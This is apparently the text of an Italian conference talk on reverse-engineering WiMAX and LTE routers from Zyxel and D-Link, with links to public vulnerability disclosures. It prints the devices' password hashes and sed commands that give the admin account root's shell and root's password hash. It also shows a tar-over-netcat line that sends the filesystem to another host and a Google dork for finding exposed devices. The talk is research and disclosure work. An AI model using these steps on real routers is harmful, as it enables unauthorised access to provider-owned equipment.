
Storie di embedded reversing

2 hacked routers, 2 bugtraq posts, 0 fixes. 

JohnnyRun 2k17 - Gianni Carabelli
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Cosa?

https://www.linkedin.com/pulse/rooting-dlink-dwr-923-4g-router-gianni-carabelli/
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Il mondo è piccolo…
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CVE-ID && Credits...vabè...

https://pierrekim.github.io/blog/2016-09-28-dlink-dwr-932b-lte-routers-vulnerabilitie
s.html

“I would like to thank Gianni Carabelli who found this router and thought it was 
very similar to the previous backdoored Quanta routers.”

https://pierrekim.github.io/blog/2016-09-28-dlink-dwr-932b-lte-routers-vulnerabilities.html
https://pierrekim.github.io/blog/2016-09-28-dlink-dwr-932b-lte-routers-vulnerabilities.html
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http://www.securityfocus.com/bid/95877/info
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Cosa?

MAX208
MAX218
MAX306
MAX318
HES319
GREENPACKET WIMAX CPE 
Huawei wimax CPE BMxxx 



LinuxDay 2k17  johnnyrun@linuxvar.it

HES3xx

● Chi lo produce? Zyxel o Huawei ??
● Device ~ del 2011
● Montato tipicamente su palo e in luogo inaccessibile
● Venduto tipicamente ai soli provider
● Di proprietà del provider
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Toolbox

nc
ssh
tar
busybox
docker
nmap
scanip
sed
ida
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MAX3xx: l’inizio
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Filesystem?

“mount”                                                                                                                                                                                                            
rootfs on / type rootfs (rw)                                                                                                                                                                                       
/dev/root on / type squashfs (ro)                                                                                                                                                                                  
none on /proc type proc (rw)                                                                                                                                                                                       
tmpfs on /tmp type tmpfs (rw,size=18432k)                                                                                                                                                                          
tmpfs on /var type tmpfs (rw,size=12288k)                                                                                                                                                                          
sysfs on /sys type sysfs (rw)                                                                                                                                                                                      
tmpfs on /dev type tmpfs (rw)                                                                                                                                                                                      
devpts on /dev/pts type devpts (rw,mode=600)                                                                                                                                                                       
mtd1 on /etc type jffs2 (rw)                                                                                                                                                                                       
tmpfs on /etc/init.d type tmpfs (rw) 
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Utenti?
“cat /etc/shadow”
root:$1$7cHnPpHF$GbYUst3uAh0sFix3fz7B21:13768:0:999
99:7:::
mfgroot:$1$.3r0/KnH$eR.mFSJKIiY.y2QsJVsYK.:13768:0:99
999:7:::
admin:$1$k2I9hJe4$oVcFcdvk3WG3cd6IyUlEg/:13768:0:999
99:7:::
guest:$1$hj8UNB2h$Irj0rHccCjTbV91QOgi1o.:13768:0:9999
9:7:::

“cat /etc/shadow”
root:x:0:0:,,,:/root:/bin/sh
mfgroot:x:0:0:,,,:/root:/bin/sh
admin:x:0:0:,,,:/root:/bin/adminSh
guest:x:0:0:,,,:/root:/bin/guestSh
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“cat /etc/shadow”
root:$1$7cHnPpHF$GbYUst3uAh0sFix3fz7B21:13768:0:999
99:7:::
mfgroot:$1$.3r0/KnH$eR.mFSJKIiY.y2QsJVsYK.:13768:0:99
999:7:::
admin:$1$k2I9hJe4$oVcFcdvk3WG3cd6IyUlEg/:13768:0:999
99:7:::
guest:$1$hj8UNB2h$Irj0rHccCjTbV91QOgi1o.:13768:0:9999
9:7:::

“cat /etc/shadow”
root:x:0:0:,,,:/root:/bin/sh
mfgroot:x:0:0:,,,:/root:/bin/sh
admin:x:0:0:,,,:/root:/bin/adminSh
guest:x:0:0:,,,:/root:/bin/guestSh

sed -i ‘s/adminSh/sh/’ /etc/passwd
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Utenti?
“cat /etc/shadow”
root:$1$7cHnPpHF$GbYUst3uAh0sFix3fz7B21:13768:0:999
99:7:::
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“cat /etc/passwd”
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admin:x:0:0:,,,:/root:/bin/adminSh
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sed -i ‘s/adminSh/sh/’ /etc/passwd
sed -i ‘s/$1$k2I9hJe4$oVcFcdvk3WG3cd6IyUlEg./$1$7cHnPpHF$GbYUst3uAh0sFix3fz7B21/’ /etc/shadow
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$ls -la /bin/sh
lrwxrwxrwx    1 root     root            7 Sep  4  2013 /bin/sh -> busybox

Mhmmh

tar over netcat

“tar -c /usr /bin /etc |nc 192.168.1.6 19000”

$ nc -l -p 19000 > filesystem.tar
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IDA
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Più semplice

$ strings `find -name busybox` |grep -A 10 Password
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Più semplice

$ strings `find -name busybox` |grep -A 10 Password

Quali altri devices?

wget 'ftp://ftp.zyxel.com/MAX318M/firmware/MAX318M_2.00(UUA.1)D0.zip'
unzip MAX*zip
tar xvfz 200UUA1D0/ras/200UUA1D0.bin
binwalk -e initrd
strings `find -name busybox` |grep -A 10 Password
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Mitre? Cert?
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Google Dork?

intitle:"wimax cpe configuration"
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Linkem chiude ssh (internet) dopo segnalazione a 
zyxel
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Linkem chiude ssh dopo segnalazione a zyxel

Ma ftp è ancora aperto… con stessa password….
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Linkem chiude ssh dopo segnalazione a zyxel

Ma ftp è ancora aperto… con stessa password….

E l’aggiornamento automatico del firmware è attivo…
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Linkem chiude ssh dopo segnalazione a zyxel

Ma ftp è ancora aperto… con stessa password….

E l’aggiornamento automatico del firmware è attivo…

E senza aggiornare il firmware è possibile eseguire comandi remoti…
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# ls
default.cfg  format  FW_NAME  initrd  md5  pack.sh  post_script.sh  pre_script.sh  sign.sh  umac  zImage
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Recap?


